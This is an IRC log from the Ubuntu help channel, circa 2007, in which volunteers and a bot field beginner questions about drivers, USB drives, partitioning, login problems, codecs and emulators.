[08:06] <Bupsss> i really need help
[08:06] <LjL> !ask
[08:06] <ubotu> Don't ask to ask a question. Just ask your question :)
[08:06] <kingcobra> scheuri, just happened randomly as far as i can tell
[08:06] <kingcobra> it is a fairly new install
[08:07] <scheuri> kingcobra: hm, not too good...I am sorry to tell that I never used 6.10...I am on 6.06 and 7.04
[08:07] <Ryan`> Nevermind, it worked! I see the GUI now.
[08:07] <FunnyLookinHat> Ryan`, that could be the problem yes...   try re-enabling it, and throwing your monitor to the onboard video... then once ubuntu is installed you can reconfigure your video output to use the vid card
[08:07] <scheuri> kingcobra: but there is a post in the forum that MIGHT help
[08:07] <kingcobra> it was workin normal for a wile n then went like this
[08:07] <FunnyLookinHat> Ryan`, sweet!
[08:07] <scheuri> kingcobra: let me look it up
[08:07] <Bupsss> what can i do if my login screen is the only thing working?
[08:07] <shafto> Does anyone know if you can use height and width additions to command lines if so how?
[08:07] <scheuri> kingcobra: oh? it "suddenly" happend?
[08:07] <maulik> first time here ... trying to find help with a unstable proprietary nvidia driver in feisty
[08:07] <vox754> Ryan`, yes I just read that. Try using the basic video card, after the installation you can set the video modes you like, dual head, and screen resolution, and you own me money.
[08:07] <kingcobra> yes
[08:07] <scheuri> kingcobra: are you familiar with the CLI?
[08:07] <torn> my soundcard is listed with lspci, but, i dont hear any sounds out of my speakers with feisty fawn, it worked on Edgy, my card is 02:02.0 Multimedia audio controller: Creative Labs SB Audigy (rev 03)
[08:07] <kingcobra> no
[08:08] <scheuri> kingcobra: you know how to open it?
[08:08] <scheuri> kingcobra: the terminal I mean
[08:08] <scheuri> !CLI
[08:08] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[08:08] <kingcobra> yeah
[08:08] <kingcobra> im familiar
[08:08] <stavpal> hello, anyone knows about issues w/hibernation & usb?
[08:08] <scheuri> kingcobra: then do so and issue the command "df -h" (without the "") and check if any partition is 100%
[08:08] <kingcobra> i didnt kno cli was command line interface
[08:08] <simonsays> can anyone help me fix azures?
[08:08] <vox754> torn, discuss feisty on #ubuntu+1 it is not stable yet
[08:08] <scheuri> kingcobra: sorry...you are right...I should have said that
[08:09] <jrib> shafto: some programs will support --geometry=WIDTHxHEIGHT, see 'man X'
[08:09] <shafto> jrib, man X?
[08:09] <jrib> shafto: yes, do you know about man pages?
[08:09] <morgawr> how can i register on irc? O_o (i'm a noob help please :D)
[08:09] <newage> hi all
[08:09] <vox754> simonsays, do not use the one from the repositories, get the .tar.gz, and use sun-java5-jre
[08:09] <Ryan`> !nvidia > Ryan`
[08:09] <thezenmaster> hi
[08:09] <shafto> jrib, nope :(
[08:09] <ivanhoe> hi all too
[08:09] <froyd> hi folks how do i know the /dev/ path for my pendrive ?
[08:09] <morgawr> how can i register on irc? O_o (i'm a noob help please :D)
[08:09] <newage> im trying to install ORACLE but I have some problems
[08:10] <kingcobra> scheuri, no but my external is 98%
[08:10] <scheuri> kingcobra: that should not be a problem
[08:10] <ardchoille> !register | morgawr
[08:10] <ubotu> morgawr: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[08:10] <scheuri> kingcobra: well, not for the issue you describe...;)
[08:10] <jrib> shafto: type 'man X' without quotes into your terminal and press enter.  Quick intro: 'q' quits, '/' lets you search and 'n' and 'N' can be used to go to the next and previous result, PageUp and PageDown to scroll
[08:10] <morgawr> thanks :o
[08:10] <thezenmaster> i have a raid0 config and want to dual boot, if i partition with Partition magic (for eg.) and then use dmraid will it install? i'm having a real hard time installing ubuntu ='( because of the raid
[08:10] <shafto> jrib, no manuals found?
[08:10] <newage> I have create a user 'oracle', and  'oinstall','dba' user groups
[08:10] <kingcobra> /dev/hdb1              73G  3.0G   67G   5% /
[08:10] <jrib> shafto: di you use a capital X?
[08:10] <nick_> how do you edit the folders that show up under places menu
[08:11] <froyd> does anybody knows how can i find out the /dev/ location of my pendrive ?
[08:11] <LjL> jrib: there's really no manpage
[08:11] <shafto> jrib, what to search for?
[08:11] <jrib> LjL: hmm, maybe it's only on feisty
[08:11] <newage> but the system dosnt let me write in '/home/oracle' and '/u01/app/oracle'
[08:11] <ikonia> froyd: check the syslog
[08:11] <torn> does anyone know what i could try to get my sound card working
[08:11] <nick_> documents show up under my places menu and i don't want it to
[08:11] <jrib> shafto: it opened for you?
[08:11] <LjL> jrib: no, i'm on Feisty... there's a manpage for Xorg
[08:11] <mateus-br> YEEEAAHHH I GOT IT
[08:11] <maulik> froyd, cd to /media and see wht you have there
[08:11] <ikonia> newage: permission, or read only  mount point
[08:11] <mateus-br> 3D RENDERING BABY
[08:12] <ChrisVereb> anyone able to help a new user that is having problems adding a second user on Dapper?
[08:12] <LjL> !caps
[08:12] <shafto> jrib, yeah
[08:12] <ubotu> PLEASE DON'T SHOUT! We can read lowercase too.
[08:12] <thezenmaster> froyd: plug your pen drive and then run dmseg | tail and see what it's name is
[08:12] <vox754> mateus-br, you owe us money
[08:12] <ikonia> ChrisVereb: go for it
[08:12] <froyd> ok
[08:12] <froyd> cool
[08:12] <mateus-br> sorry :)
[08:12] <froyd> thx the
[08:12] <newage> I go to see
[08:12] <stavpal> when I try to resume from hibernate I get a error usb device descriptor read/64 error -71
[08:12] <scheuri> kingcobra: I am really sorry....I don't know what it could be...you already ruled the locahost-issue out
[08:12] <jrib> shafto: /geometry     then press enter, and then press 'n' to skip around until you see useful stuff.  I told you all you really need already
[08:12] <stavpal> anyone familliar with this?
[08:12] <froyd> dmseg ?
[08:12] <thezenmaster> oops
[08:12] <trilobit> dmesg
[08:13] <ikonia> stavpal: sounds like a usb port isn't waking up
[08:13] <thezenmaster> yeah
[08:13] <vox754> stavpal, sorry, no help
[08:13] <thezenmaster> dmesg | tail
[08:13] <kingcobra> where shud i go from here
[08:13] <kingcobra> scheuri,
[08:13] <scheuri> kingcobra: I do not know...sorry...it actually sounds like a network issue, but....
[08:13] <ChrisVereb> I have my first user installed ok.  Added a second user via the GUI tool.  When I try to login to or switch to the second user, It attempts to load up the gnome desktop but then hangs with a blank desktop with the top and bottom toolbars with no icons.  I can't click on anything and have to ctrl-alt-backspace to get back to the login screen.
[08:14] <maulik> instability with nvidia card, anyone ?:-)
[08:14] <ikonia> ChrisVereb: check the new users home dir and the ability of the new user to access it
[08:14] <ikonia> maulik: what about it
[08:14] <thezenmaster> maulik: loads of people xD
[08:14] <Bupsss> me too
[08:14] <maulik> ikonia: i installed the proprietary drivers on fesity
[08:14] <froyd> have anybody here erased the U3 from pendrives in linux ?
[08:14] <maulik> itruns fine for a while, but eventually everything freezes up
[08:14] <ikonia> maulik: you've installed a beta product.
[08:15] <ikonia> maulik: fesity support is in #ubuntu+1
[08:15] <maulik> proprietary nvidia drivers are beta ?
[08:15] <stavpal> all the usb ports are working normally -it just when i try to resume that they dont wake up
[08:15] <froyd> i want to install linux on my pendrive but it creates two drives :( i want to erase that or get into the fdisk and see the drive so i can make one
[08:15] <froyd> any help ? :D
[08:15] <ikonia> maulik: feisty is beta and not supported with the external drivers from outside the fesity repo
[08:15] <t3soro> maulik, i had the same problem, you need to install the latest drivers from nvidia.com
[08:15] <ikonia> t3soro: I disagree
[08:15] <ChrisVereb> I su'd to the other user account on the terminal, switched to their home directory and did an ls.  I was able to get a contents listing
[08:15] <thezenmaster> froyd: you want to install Ub in a pen?
[08:15] <Bupsss> i've installed a wrong driver
[08:15] <Bupsss> nvidia
[08:15] <froyd> thezenmaster:
[08:15] <maulik> 9755?
[08:15] <Bupsss> and now i cant login anymore
[08:15] <t3soro> ikonia, it worked for me
[08:15] <froyd> thezenmaster: yep
[08:16] <ikonia> t3soro: that means nothing - you don't even know his problem other than "it freees"
[08:16] <froyd> thezenmaster: why ?
[08:16] <maulik> i threw out the topic in ubuntu+1 not luck
[08:16] <ivanhoe> has anybody an idea how i get sound on my ubuntu-laptop? the soundcard is recognized correct, i think there is a problem with the alsamixer, because i have no master
[08:16] <thezenmaster> froyd: i have DSL in a pen drive.. dunno how to do it with Ubuntu
[08:16] <ikonia> ChrisVereb: ok - thats  good sign
[08:16] <ikonia> maulik: thats where fesity support is - ask in there
[08:16] <maulik> cool deal, thanks ikonia
[08:16] <froyd> i mean im trying to fdisk /etc/sdb
[08:16] <froyd> but it doest go
[08:16] <froyd> says unable to opensdb
[08:16] <thezenmaster> did you mount it?
[08:16] <ikonia> froyd: thats not a disk location
[08:17] <ikonia> froyd: try /dev/sdb
[08:17] <froyd> ikonia
[08:17] <froyd> nope
[08:17] <RoundyT1> Anyone have a command (term) cheat sheet?
[08:17] <froyd> doest work eiter
[08:17] <dk_ii> is their a streaming radio app for ubuntu like screamer radio?
[08:18] <thezenmaster> mount /dev/sdb /mnt
[08:18] <ikonia> froyd: nope what
[08:18] <bruenig> !bash
[08:18] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[08:18] <newage> ok, the problem was mine
[08:18] <froyd> ikonia: its not sdb either
[08:18] <ikonia> froyd: is this for your pen drive ?
[08:18] <froyd> i can see it mounted in my desktop
[08:18] <froyd> yep
[08:19] <ikonia> froyd: what does the sylog say it assigned to it /dev/$X
[08:19] <froyd> got it
[08:19] <froyd> sdb1
[08:19] <froyd> :D
[08:19] <FakeOutdoorsman> I'm running Openbox as my WM on a barebones Ubuntu.  Anyone know of a NetworkManager equivalent that will work for me?  I don't want to install 200 mb of Gnome stuff.
[08:19] <froyd> thx dudes :D
[08:19] <morgawr> can someone help me please? i'd like to de-activate my laptop touchpad, i read on forums that i should comment with # the lines in xorg.conf about the touchpad, but i can't find them.. help please? :s
[08:19] <dk_ii> nevermind found it now streamtuner
[08:19] <RoundyT1> Anyone have a command (term) cheat sheet?
[08:20] <bruenig> !bash | RoundyT1
[08:20] <DsB> hi every one
[08:20] <froyd> shoudl be this right ? /dev/sdb1   *           1       61322      981147+   e  W95 FAT16 (LBA)
[08:20] <ubotu> RoundyT1: The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[08:20] <RoundyT1> !bash
[08:20] <ikonia> RoundyT1: no
[08:20] <RoundyT1> ?
[08:20] <FakeOutdoorsman> RoundyT1: http://www.indiana.edu/~uitspubs/b017/
[08:20] <froyd> but i cant fdisk it :(
[08:20] <FakeOutdoorsman> or computerhope.com
[08:20] <ikonia> RoundyT1: I have no cheat sheets but http://www.tldp.org has lots of info for new users to linux
[08:21] <ikonia> froyd: you don't fdisk a partition, you fdisk a disk
[08:21] <synic> RoundyT1: http://rute.2038bug.com/rute.html.gz
[08:21] <thezenmaster> i have a raid0 config and want to dual boot, if i partition with Partition magic (for eg.) and then use dmraid will it install? i'm having a real hard time installing ubuntu ='( because of the raid
[08:21] <ivanhoe> has anybody an idea how i get sound on my ubuntu-laptop? the soundcard is recognized correct, i think there is a problem with the alsamixer, because i have no master
[08:21] <n-iCe> How can I force to close a windows?
[08:21] <DsB> I whant to connect my USB device on UBUNTU server edition how can i do that????????????
[08:21] <n-iCe> if is freeze
[08:21] <RoundyT1> lol ok thanks everyone i think i found around 20 now.
[08:21] <froyd> ikonia: i know so how can i fdisk my pendrive then /etc/sdb ?
[08:21] <ikonia> froyd: why do you keep going on about /etc/sdb
[08:22] <ikonia> froyd: thats not even a file let alone a device file
[08:22] <froyd> a friend of mine told me it should be there
[08:22] <ikonia> froyd: he knows nothing then - totally nothing
[08:22] <froyd> so i guess my friend is out of date too
[08:22] <ikonia> froyd: show me "ls -la /dev/sdb"
[08:22] <ikonia> froyd: not out of date - just knows nothing
[08:22] <DsB> I whant to connect my USB device on UBUNTU server edition how can i do that????????????
[08:22] <ikonia> DsB: plug it in
[08:22] <froyd> lol
[08:22] <davisdmg> ola
[08:23] <trilobit> froyd: unmount the pen drive before fdisk
[08:23] <froyd> so help me dude pls
[08:23] <DsB> i have already done that
[08:23] <ikonia> froyd: show me "ls -la /dev/sdb"
[08:23] <Veinor|FFXII> How do I enable mp3 playback in firefox?
[08:23] <n-iCe> How can I force to close a windows?
[08:23] <froyd> hold up inkonia
[08:23] <RoundyT1> n-iCe, Right Click near the bottom and it will bring up a menu, click "Force Quit" (that's using the gui)
[08:23] <trilobit> n-iCe:  xkill
[08:23] <kingcobra> scheuri, were u going to tel me something there
[08:23] <froyd> froyd@froyd-laptop:~$ ls -la /dev/sdb/
[08:23] <froyd> ls: /dev/sdb/: Not a directory
[08:23] <davisdmg> yes, n-ice, write "xkill" in a shell
[08:23] <n-iCe> davisdmg,  and ? what else
[08:23] <ikonia> froyd: thats not your pen drive then
[08:23] <froyd> brw-rw---- 1 root plugdev 8, 16 2007-03-24 15:13 /dev/sdb
[08:24] <froyd> sorry i took the / of the end
[08:24] <scheuri> kingcobra: only that I am sorry...that I can not help you really as you already ruled out the localhost-issue
[08:24] <ikonia> ok
[08:24] <ikonia> froyd: ok - so "sudo fdisk /dev/sdb"
[08:24] <davisdmg> if you write xkill, you will click in a windows to close it
[08:24] <eVILPeeR> Hey guys, I've got some issues here. I have tried about 10 times now to install Ubuntu from a CD I got a long time ago, however.. it never seems to work.
[08:24] <kingcobra> scheuri, what would be the best thing 2do now
[08:24] <froyd> cool ikonia
[08:24] <eVILPeeR> It says, KERNEL PANIC - Cannot sync vfs with partition to unknown block (0,0) or something like that
[08:24] <froyd> i got there "D
[08:24] <froyd> thx
[08:25] <n-iCe> trilobit,  xkill and what else?
[08:25] <scheuri> kingcobra: I can not really say I am sorry
[08:25] <ikonia> froyd: ok
[08:25] <eVILPeeR> And this it AFTER it says it was a successful install
[08:25] <eVILPeeR> Yet, it doesn't work
[08:25] <eVILPeeR> Does anyone have a clue?
[08:25] <froyd> have you ever used u3 in pendrives ikonia ?
[08:25] <ikonia> froyd: u3 ?
[08:25] <Bupsss> :'(
[08:25] <Bupsss> help
[08:26] <froyd> yah its a software in pen drives, especially memorex ones
[08:26] <ikonia> Bupsss: you have to ask a question first
[08:26] <kleinweby> hello, i have a problem. i have a pc which dosnt poweroff wehn the computer is shutdown. anyone a idea how get it to switching power off after the shutdown? its a old pc without acpi. the poweroff has worked under suse and windows 98 but not under ubuntu edgy
[08:26] <froyd> that like u can install software in the pen drive and use it anywhere
[08:26] <ikonia> froyd: nah, never used that
[08:26] <froyd> i want to erase it
[08:26] <Veinor|FFXII> How do I enable mp3 playback in firefox?
[08:26] <DsB> what is SDA?????
[08:26] <froyd> cuz my pen drives shows two devices always
[08:26] <ikonia> froyd: just remove it then
[08:26] <Bupsss> ikonia i asked twice, but here it is again :)
[08:26] <trilobit> n-iCe: type xkill  then klick in the window you want to close
[08:26] <Bupsss> i'm stuck at the login screen
[08:26] <ikonia> froyd: remove the partitions
[08:26] <ikonia> Bupsss: login
[08:26] <n-iCe> ok
[08:26] <n-iCe> thanks
[08:27] <Bupsss> when i try to login sometimes it says that
[08:27] <Bupsss> gdm cannot write
[08:27] <Bupsss> sometimes it goes back to the login screen
[08:27] <ikonia> Bupsss: cannot write what
[08:27] <kingcobra> ikonia do you know anything i cud do 2 fix gnome freezing at bootup
[08:27] <Bupsss> on the authentication
[08:27] <eVILPeeR> I need some help installing Ubuntu onto my laptop, can anyone assist me?
[08:27] <bruenig> !xhangs
[08:27] <ubotu> If the GUI hangs after logging in, use <ctrl><alt><f1> to switch to text mode. Log in and do: rm .{X,ICE}authority
[08:27] <ikonia> Bupsss: thats normally a sign of your home dir not being able ot be written to
[08:27] <Bupsss> i changed the chmod
[08:27] <DsB> can i have MIRC on a UBUNTU Server edition????????????????'
[08:27] <ikonia> kingcobra: check the logs for an idea of the error
[08:27] <ikonia> Bupsss: thats possibly the problem
[08:27] <Bupsss> but still same problem
[08:27] <ikonia> DsB: no
[08:27] <simonsays> hey im new to this, only had it a couple of days, can anyone help private chat me? need help with azures and automaix2
[08:27] <bruenig> Bupsss, you been sudoing any graphical applications
[08:28] <bruenig> !automatix | simonsays
[08:28] <ubotu> simonsays: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[08:28] <kingcobra> ikonia, what logs
[08:28] <ikonia> simonsays: automatix is very very bad
[08:28] <bruenig> !pm | simonsays
[08:28] <ubotu> simonsays: Please ask your questions in the channel so that other people can also benefit. Please don't PM a user in the channel without asking first, some find it rude.
[08:28] <ikonia> kingcobra: the syslog, gdm log xorg's log
[08:28] <bruenig> simonsays, what is the problem with azureus
[08:28] <ikonia> kingcobra: there's 3
[08:28] <Bupsss> i was messing around with nvidia driver
[08:28] <kleinweby> no idea???
[08:28] <conreyt> simonsays: you can use azereus without aoutomatix
[08:28] <DsB> what is SDA?
[08:28] <ikonia> DsB: don't know
[08:28] <doseryder> GUI app in GNOME would not work in KDE would it?  And If i decide to do some gui programming, what lib/API will i be looking at?
[08:28] <FunnyLookinHat> conreyt, I had to replace the .jar file to get azureus working for me, but then it worked fine
[08:28] <bruenig> doseryder, it would work
[08:29] <eVILPeeR> I need some help installing Ubuntu onto my laptop, can anyone assist me?
[08:29] <ikonia> eVILPeeR: whats the problem
[08:29] <conreyt> FunnyLookingHat: What version of java do you have.
[08:29] <daziplqa> need help guyz
[08:29] <Veinor|FFXII> eVILPeeR: No; I'm sick of you resetting my IRC connection all the time :-P
[08:29] <eVILPeeR> Well, it installs just fine about half of the time, but when I take the CD out and try to run it.. it never boots
[08:30] <eVILPeeR> Haha Veinor :P
[08:30] <doseryder> bruenig: have you done any gui programming in linux. perhaps can you gimme the gist of how things work?
[08:30] <eVILPeeR> ikonia - it gives me a kernel panic and just restarts
[08:30] <ikonia> eVILPeeR: define "never boots"
[08:30] <daziplqa> really i need help in ammater
[08:30] <DsB> when i plug my usb pen the ubuntu server edition gives me this msg sda: assuming drive cache:write through what is this does anyone know?????
[08:30] <bruenig> doseryder, no I haven't done any gui programming
[08:30] <ikonia> eVILPeeR: kernel panics are normally hardware incompatabilities (mostly)
[08:30] <eVILPeeR> ikonia - basically it says "Cannot synchronize vfs with partition at unknown block (0,0) or something to that effect
[08:30] <os_> any can help me with wine in ubuntu edgy?
[08:30] <xhost> hello all
[08:30] <bruenig> !anyone | os_
[08:30] <ubotu> os_: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[08:30] <ikonia> eVILPeeR: ahhh that could be your grub config messed up
[08:30] <bruenig> !hi | xhost
[08:30] <ubotu> xhost: Hi! Welcome to #ubuntu!
[08:31] <eVILPeeR> ikonia - Hm okay. Well I don't know how to partition the drives anymore either
[08:31] <eVILPeeR> ikonia - So what would I do during installation then?
[08:31] <xhost> i was wondering wether i can make Fedora and Ubuntu coexist
[08:31] <DsB> when i plug my usb pen the ubuntu server edition gives me this msg sda: assuming drive cache:write through what is this does anyone know?????
[08:31] <xhost> hi bruenig
[08:31] <Ryan`> Ok, well I got ubuntu installed... But now there is an odd issue poping up. The ubuntu splash screen (BEFORE the GUI loads) is distorted and in greyscale. I think it's a "framebuffer" issue... Any ideas?
[08:31] <bruenig> xhost, yeah, just configure grub correctly
[08:31] <simonsays> when i downloaded automatix i used this to help me "http://www.howtoforge.com/the_perfect_desktop_ubuntu6.10_p5" and it has a 3 line command listed, i jsut copied and pasted that 3 line command, then went onto the next one, im not sure if it installed corretcly, everything works ok tho, and it updated my nvidea  and helped with fonts and things, so was it right to just copy and paste the 3 line or should i have done each line seperat
[08:31] <simonsays> ely
[08:31] <xhost> hi ubotu
[08:31] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[08:31] <bruenig> !automatix | simonsays
[08:31] <ubotu> simonsays: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[08:31] <ikonia> eVILPeeR: if its not working at install time, you need to boot from the livecd and modify grubs "menu.lst" file  manually on your installed system
[08:31] <conreyt> simonsays: have you contacted the author of that doc?
[08:31] <doseryder> bruenig: so all you know is linux gui apps can run on any gui desktop (gnome, kde, and fluxbox is one too right?)
[08:31] <hendaus_> bruenig,  wb
[08:31] <xhost> yeah that all right but can one swap partition be used for both ubuntu and fedora
[08:31] <variant> can anyone else confirm this bug: https://launchpad.net/ubuntu/+source/bind9/+bug/92040
[08:31] <eVILPeeR> ikonia - Hmm okay.
[08:32] <variant> xhost: yes
[08:32] <desmond> hi
[08:32] <eVILPeeR> ikonia - So I shall do that then.. and then I will be back.
[08:32] <bruenig> doseryder, yeah, so long as you have the right libraries
[08:32] <bruenig> if it uses qt, you need to qt libraries, etc.
[08:32] <eVILPeeR> ikonia - how should I modify it?
[08:32] <simonsays> i havent, but was curious to see if anyone here would know
[08:32] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[08:32] <Veinor|FFXII> xhost: I can't see any reason why not...
[08:32] <kingcobra> ikonia, my syslog http://paste.ubuntu-nl.org/11883/
[08:32] <conreyt> simonsays: or look for support for automatix where it's listed on the automatix website.
[08:32] <daziplqa> i want to install dansguardian
[08:32] <ikonia> eVILPeeR: mount your parttion and edit it with a text editor
[08:32] <ikonia> kingcobra: why do I want to see that
[08:32] <xhost> thanks variant . it means when i am installing the other system i don't need to create any other swap
[08:32] <Bupsss> any idea how can i fix my problem? considering that i already changed the chmod
[08:32] <Veinor|FFXII> How do I enable mp3 playback in firefox?
[08:32] <bruenig> or don't install automatix
[08:32] <xhost> no i was just wondering..
[08:32] <bruenig> Veinor|FFXII, mozilla-mplayer is good
[08:32] <eVILPeeR> ikonia - Right, I remember what that file does.. okay, well can you assist me further once I'm back? :)
[08:32] <ikonia> Bupsss: check the gdm.log
[08:33] <Bupsss> uhm
[08:33] <Bupsss> ok
[08:33] <conreyt> simonsays: I don't use automatix or recommend my friends do either.
[08:33] <Bupsss> i'll check
[08:33] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[08:33] <ikonia> eVILPeeR: if you have specific questions yes
[08:33] <kingcobra> ikonia, i thought u wanted to see the 3 logs no
[08:33] <eVILPeeR> ikonia - Okay, no worries. :) Be back in a bit.
[08:33] <DsB> when i plug my usb pen the ubuntu server edition gives me this msg sda: assuming drive cache:write through what is this does anyone know?????
[08:33] <daziplqa> i really installed it but it make firefox not operable
[08:33] <ikonia> kingcobra: no - I wanted YOU to look at the 3 logs to try to get an idea whats going on
[08:33] <simonsays> how can i reverse the effects of automatix, ie uninstall
[08:33] <conreyt> simonsays: random tutorials = use at your own risk :D
[08:33] <ikonia> simonsays: re-install ubuntu
[08:33] <Veinor|FFXII> bruenig: Will that work with embedded MP3s as well?
[08:33] <xhost> was thinking of trying something with single swap.. i earlier thought that may be it can give issues.. though i was also confident that i won't need other swap. since swap is itself a common fs for swap
[08:34] <bruenig> Veinor|FFXII, yeah
[08:34] <ChrisVereb> so I've got a login problem with a second user.  First user works just fine, but the second user will hang after login.  A blank gnome desktop will display with the top and bottom toolbars, but no icons on either.  I can't click or right click on anything and will have to ctrl-alt-backspace to get back to a login.  I verified that the second user can access their home directory per ikonia's suggestion.  Anyone know what I should try
[08:34] <variant> ChrisVereb: were you ever able to log in with that user?
[08:34] <hendaus_> bruenig,  i have a little question for u coz noone can solve it for me
[08:34] <kingcobra> ikonia, i realy dont know though
[08:34] <ChrisVereb> variant:  nope
[08:34] <ikonia> ChrisVereb: chek write support in the users home dir for the new user
[08:34] <variant> hendaus_: that is a very inpolite thing to say in here
[08:34] <Veinor|FFXII> bruenig: Not working
[08:35] <bruenig> Veinor|FFXII, should work, link to the page?
[08:35] <simonsays> so u suggest i start from scratch?
[08:35] <ChrisVereb> ikonia:  I'll do that now
[08:35] <ikonia> simonsays: yes
[08:35] <thezenmaster> can anyone give me a hand with fakeraid? it's getting on my nerves....
[08:35] <Veinor|FFXII> http://pebble-peas.ytmnd.com/
[08:35] <variant> ChrisVereb: how did you create the user? did you modify any default settings? (if you used the gui to create the user)
[08:35] <ikonia> simonsays: just follow ubuntu guides - not random off site guides
[08:35] <hendaus_> variant,  so u are the one that can help me :)
[08:35] <conreyt> simonsays: or check the uninstall procedure that automatix has
[08:35] <ikonia> thezenmaster: fakeraid is a waste of time in linux
[08:35] <variant> hendaus_: just ask youre question
[08:35] <ikonia> hendaus_: just ask the question
[08:35] <ikonia> sheesh
[08:35] <variant> s/youre/your
[08:35] <bruenig> Veinor|FFXII, yeah it works, make sure you have mozilla-mplayer installed and totem-mozilla uninstalled
[08:35] <thezenmaster> ikonia: so i have read, but i can't erase my WinXp partition now
[08:36] <hendaus_> ikonia,   i make configure my monitor to turnoff after 20 minutes,after 20 minutes the monitor switch off but the green color still ,coz on windows when switching off the color of the monitor change to orange
[08:36] <simonsays> whats so bad about automatix then?
[08:36] <apprentice> hello
[08:36] <ikonia> hendaus_: any chance you can say that again in english please
[08:36] <variant> ikonia: lololol is all i can say
[08:36] <ikonia> simonsays: its rubbish
[08:36] <conreyt> simonsays.  it's not supported.
[08:36] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[08:36] <ikonia> thezenmaster: its just not worth the effort
[08:36] <variant> hendaus_: what is your native language? there may be a channel that you can get support in your language in
[08:36] <bruenig> !es
[08:36] <ubotu> Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:36] <conreyt> simonsays.  it's not supported, go read the documentation provided by them and make your own decisions.
[08:36] <kingcobra> ikonia, what am i supposed to look for in the logs
[08:36] <apprentice> im using the live cd that i got in the mail and i was wondering why the make tool wontwokr
[08:37] <apprentice> wont work*
[08:37] <ikonia> kingcobra: errors, problems, possible problems, warings
[08:37] <xhost> bruenig, and Veinor|FFXII variant how can i achieve the same withing ubuntu like installing fedora in ubuntu for R & D purpose.. i mean the same we do debian with debbootstrap
[08:37] <simonsays> im new to ubuntu, like a couple of days, so im not good at all the more technical stuff
[08:37] <ikonia> apprentice: make tool ?
[08:37] <apprentice> like make.
[08:37] <os_> i need install macromedia fireworks 8 in ubuntu, i try with wine but display
[08:37] <thezenmaster> ikonia: what do you recommend then? i need a WinXp instalation
[08:37] <apprentice> wont work
[08:37] <variant> xhost: use qemu?
[08:37] <Veinor|FFXII> bruenig: Works great now
[08:37] <os_> libGL warning: 3D driver claims to not support visual 0x42
[08:37] <ikonia> thezenmaster: buy a new hard disk for ubuntu
[08:37] <hendaus_> valehru,  why is there any word that cannot understand it?
[08:37] <apprentice> the command you use to build packages. you know make
[08:37] <variant> os_: that is a standard warning message that can be ignored
[08:37] <xhost> umm? can i get some docs on the same variant
[08:38] <bruenig> they really should change the mozilla-mplayer control package to have it Conflicts: totem-mozilla
[08:38] <ikonia> apprentice: the livecd is read only without the packages and no-where to install other than ram - why are you building things on the live cd
[08:38] <variant> os_: it's to do with your graphics driver not the program
[08:38] <hendaus_> ikonia,  yes i am from colombia but i learn english :)
[08:38] <xhost> variant, and how do i install it.
[08:38] <variant> xhost: apt-get install qemu
[08:38] <ikonia> !es | hendaus_
[08:38] <ubotu> hendaus_: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:38] <DsB> how can i get ivman from the repositories on ubuntu server edition????????????????????????????????
[08:38] <variant> !qemu | xhost
[08:38] <ubotu> xhost: qemu is an emulator you can use to run another operating system - see https://help.ubuntu.com/community/WindowsXPUnderQemuHowTo
[08:38] <apprentice> becuase im on a make and my os x installtion got burnt and now im trying to recover but my 2nd os x install cd is corrupt
[08:38] <ikonia> DsB: stop asking pointless questions about every package
[08:38] <simonsays> where can i get the codecs that automaix supplied me, without using automatix
[08:38] <apprentice> mac*
[08:38] <bruenig> too many question marks
[08:38] <ikonia> DsB: search the repo's for the tools you want
[08:38] <conreyt> DsB: one question mark = plenty
[08:39] <bruenig> simonsays, the software repositories
[08:39] <kev_> !format
[08:39] <ubotu> Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter
[08:39] <bruenig> simonsays, what specifically do you need
[08:39] <ikonia> simonsays: read http://wiki.ubuntu.com for guides on how to do things
[08:39] <xhost> thanks variant
[08:39] <hendaus_> ikonia,  so u dont understand my question? so thanx
[08:39] <variant> xhost: yw
[08:39] <cedric30> Is there someone who know how operat apt-src 'cause I have a problem with it
[08:39] <ikonia> hendaus_: sorry your english doesn't make enough sense to respond to your question
[08:39] <cedric30> ?
[08:39] <hendaus_> bruenig,  can understand me :))
[08:39] <ikonia> cedric30: ask the problem
[08:39] <bruenig> !codecs | simonsays the first link has a command you can copy and paste that will install pretty much any codec you need
[08:39] <conreyt> cedric30: what is your question
[08:39] <ubotu> simonsays the first link has a command you can copy and paste that will install pretty much any codec you need: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:39] <kev_> !gparted
[08:40] <ubotu> gparted is gparted is a GUI partitioning program, "sudo apt-get install gparted", also available as a live cd http://gparted.sourceforge.net/livecd.php
[08:40] <cedric30> ikonia, I have put the source if feisty to download the package audacity (to prove apt-src)
[08:40] <ikonia> cedric30: fesity support is in #ubuntu+1
[08:40] <xhost> variant, one last thing is there any alternate free clone of cedega (the game env for windows based games)
[08:40] <cedric30> ikonia, I am on edgy
